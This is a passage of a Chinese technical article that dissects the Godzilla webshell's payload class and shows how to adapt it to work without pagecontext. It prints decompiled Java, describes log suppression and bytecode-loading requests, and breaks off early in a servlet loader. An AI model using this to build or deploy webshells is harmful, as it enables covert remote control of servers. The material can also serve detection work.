Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">payload类结构</h1><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">payload类是哥斯拉的功能实现类，其中有多个函数比如文件操作、命令执行等功能实现</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="280" data-backw="321" data-ratio="0.8722741433021807" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="321" src="https://wechat2rss.xlab.app/img-proxy/?k=e439a9bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboWE9iamxyvobGn71ZWVBnzSgKqAHbGwn6EEibsMMOnksCJguG2VZtJwEnML2ehkTyEPsBGxLcXKspw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">而入口在equals()函数</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="177" data-backw="376" data-ratio="0.47074468085106386" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="376" src="https://wechat2rss.xlab.app/img-proxy/?k=f6ccb367&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboWE9iamxyvobGn71ZWVBnzSWiaL2Yo2elicM6MJCxyrl5DDtRKUQcyO3nQ06e6AkFO2SIZ5dUPaFkIQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">handle()是真正的逻辑，noLog是不记录tomcat连接日志的函数。进入handle看下</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> boolean handle(Object obj) {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (obj == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">    } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">        Class streamClazz = ByteArrayOutputStreamClazz;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (streamClazz == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                streamClazz = Class.forName(<span class="code-snippet__string">&#34;java.io.ByteArrayOutputStream&#34;</span>);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (ClassNotFoundException var7) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> new NoClassDefFoundError(var7.getMessage());</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            ByteArrayOutputStreamClazz = streamClazz;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (streamClazz.isAssignableFrom(obj.getClass())) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.outputStream = (ByteArrayOutputStream) obj;</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.supportClass(obj, <span class="code-snippet__string">&#34;%s.servlet.http.HttpServletRequest&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.servletRequest = obj;</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.supportClass(obj, <span class="code-snippet__string">&#34;%s.servlet.ServletRequest&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.servletRequest = obj;</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                streamClazz = byteArrayClazz;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (streamClazz == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                        streamClazz = Class.forName(<span class="code-snippet__string">&#34;[B&#34;</span>);</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (ClassNotFoundException var6) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">throw</span> new NoClassDefFoundError(var6.getMessage());</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    byteArrayClazz = streamClazz;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (streamClazz.isAssignableFrom(obj.getClass())) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.requestData = (byte[]) obj;</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.supportClass(obj, <span class="code-snippet__string">&#34;%s.servlet.http.HttpSession&#34;</span>)) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.httpSession = obj;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.handlePayloadContext(obj);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.servletRequest != <span class="code-snippet__literal">null</span> &amp;&amp; <span class="code-snippet__keyword">this</span>.requestData == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                Object var10001 = <span class="code-snippet__keyword">this</span>.servletRequest;</span></code><code><span class="code-snippet_outer">                Class[] var10003 = new Class[<span class="code-snippet__number">1</span>];</span></code><code><span class="code-snippet_outer">                Class var10006 = stringClazz;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (var10006 == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                        var10006 = Class.forName(<span class="code-snippet__string">&#34;java.lang.String&#34;</span>);</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (ClassNotFoundException var5) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">throw</span> new NoClassDefFoundError(var5.getMessage());</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    stringClazz = var10006;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                var10003[<span class="code-snippet__number">0</span>] = var10006;</span></code><code><span class="code-snippet_outer">                Object retVObject = <span class="code-snippet__keyword">this</span>.getMethodAndInvoke(var10001, <span class="code-snippet__string">&#34;getAttribute&#34;</span>, var10003, new Object[]{<span class="code-snippet__string">&#34;parameters&#34;</span>});</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (retVObject != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                    streamClazz = byteArrayClazz;</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (streamClazz == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                            streamClazz = Class.forName(<span class="code-snippet__string">&#34;[B&#34;</span>);</span></code><code><span class="code-snippet_outer">                        } <span class="code-snippet__keyword">catch</span> (ClassNotFoundException var4) {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">throw</span> new NoClassDefFoundError(var4.getMessage());</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                        byteArrayClazz = streamClazz;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (streamClazz.isAssignableFrom(retVObject.getClass())) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.requestData = (byte[]) retVObject;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">分段来看，第一次equals的时候传入的是ByteArrayOutputStream实例</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="327" data-backw="557" data-ratio="0.5870736086175943" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="557" src="https://wechat2rss.xlab.app/img-proxy/?k=a34a6392&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboWE9iamxyvobGn71ZWVBnzSu0ZncKxewRpolZCLTI3vuYRYCrWwY2r5mzfvLc6icnPbx56Fqhjmn0w%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">将其赋值给this.outputStream，this.outputStream是输出流，存储了response内容。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">第二段equals的是pagecontext</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="398" data-backw="578" data-ratio="0.6893617021276596" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="705" src="https://wechat2rss.xlab.app/img-proxy/?k=e4c651d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboWE9iamxyvobGn71ZWVBnzSuE405GlbHF3vHMSyqhfHrBCRBDkxribtX9VwhsRlOTwxiaXyEaTMCooA%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;"><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">先填充request，然后判断是否是session，如果是字节数组则说明是post参数 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">this.requestData = (byte[]) obj;</code> 如果是HttpSession实例则放入<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">this.httpSession</code></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">接着handlePayloadContext()填充request上下文和session</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="245" data-backw="578" data-ratio="0.4234062797335871" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1051" src="https://wechat2rss.xlab.app/img-proxy/?k=fcb390ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboWE9iamxyvobGn71ZWVBnzSwal9ymvicibEN0LSNckwHLo166pZsLcvGyTv02StzV7IjDzdWPMxEVww%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;"><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">然后调用<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">session.getAttribute(&#34;parameters&#34;)</code>拿到requestData</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="412" data-backw="578" data-ratio="0.7130350194552529" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1028" src="https://wechat2rss.xlab.app/img-proxy/?k=a7ca2dc0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboWE9iamxyvobGn71ZWVBnzSRRLooAUibHpkFiahsg7N2wyqX9k3YdwG2GpVib8y2icgiclOEDwGHdMVavQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">第三段是toString</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="497" data-backw="578" data-ratio="0.8593939393939394" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="825" src="https://wechat2rss.xlab.app/img-proxy/?k=8ceee040&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboWE9iamxyvobGn71ZWVBnzSkFrwOdgN3qtja7rGxGukAQzxb08rZkKqC4QwHYAEYG0XzUlcnSl2Ew%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">initSessionMap()初始化一个sessionMap放一些信息，然后formatParameter格式化参数map，然后this.run()</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">在formatParameter()函数中向参数map中放键值对</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="499" data-backw="578" data-ratio="0.8637709772951628" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1013" src="https://wechat2rss.xlab.app/img-proxy/?k=d672b318&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboWE9iamxyvobGn71ZWVBnzSKQeLr8nZ41G1KfZc3m98xaV5eImSukXxcxPn4X5ibYY3MN2RIEYmfJA%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;"><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">给他打印出来看一看，bp三个请求打印了两个键值对</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="355" data-backw="578" data-ratio="0.61400512382579" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1171" src="https://wechat2rss.xlab.app/img-proxy/?k=cd8284fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboWE9iamxyvobGn71ZWVBnzS6MDA1rlloY5Co7xUlQo3BqL66icgb1uYnvz6Qyk2icVmy3t7BaCAEh6Q%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;"><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">第一个请求是加载class字节码的，然后第二个第三个请求时调用字节码功能，通过methodName来调用。接着run()完之后写输出。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">那么请求流程就到这里，接下来看如何解决</p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">解决pagecontext</h1><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">上文讲到，requestData是post body，我们传入pagecontext的目的是为了通过session拿到parameters，那么如果我们抛弃session，直接把parameters通过equals函数传给payload类呢？</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-backh="376" data-backw="578" data-ratio="0.6498422712933754" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="951" src="https://wechat2rss.xlab.app/img-proxy/?k=0bc6db8d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboWE9iamxyvobGn71ZWVBnzSVa8icq79IORpAuXtT5dBiakwmX8BicnobR8qwwdx5qAPyoZJvG28Qofeg%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;"><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">bp第一个请求是加载字节码，我们通过defClass加载进去，然后第二个请求分为四个阶段</p><p style="box-sizing: border-box;padding-left: 1em;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">1.</span>equals传入ByteArrayOutputStream实例填充outputStream</span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">2.</span>equals传递解码之后的data填充requestData</span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">3.</span>equals传递HttpServletRequest填充request</span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">4.</span>toString写response输出结果</span></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;letter-spacing: 0.1em;">而在第二阶段正是因为在payload#handle()中这段代码的出现解决了pagecontext</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.18694362017804153" data-s="300,640" style="" data-type="png" data-w="674" src="https://wechat2rss.xlab.app/img-proxy/?k=d5527f11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboWE9iamxyvobGn71ZWVBnzSkW6m3P9qaxsicqEEPXjtqLpGuFibsebwJza1tWtsKopoia6JXcia3PwzDA%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 15px;"><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-size: 0.8em;">image.png</figcaption></figure><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">完整代码</h1><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">package</span> com.example.demo3;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.servlet.ServletException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.servlet.annotation.WebServlet;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.servlet.http.HttpServlet;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.servlet.http.HttpServletRequest;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> javax.servlet.http.HttpServletResponse;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.IOException;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Method;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.net.URL;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.net.URLClassLoader;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">@WebServlet</span>(name = <span class="code-snippet__string">&#34;helloServlet&#34;</span>, value = <span class="code-snippet__string">&#34;/hello&#34;</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__class"><span 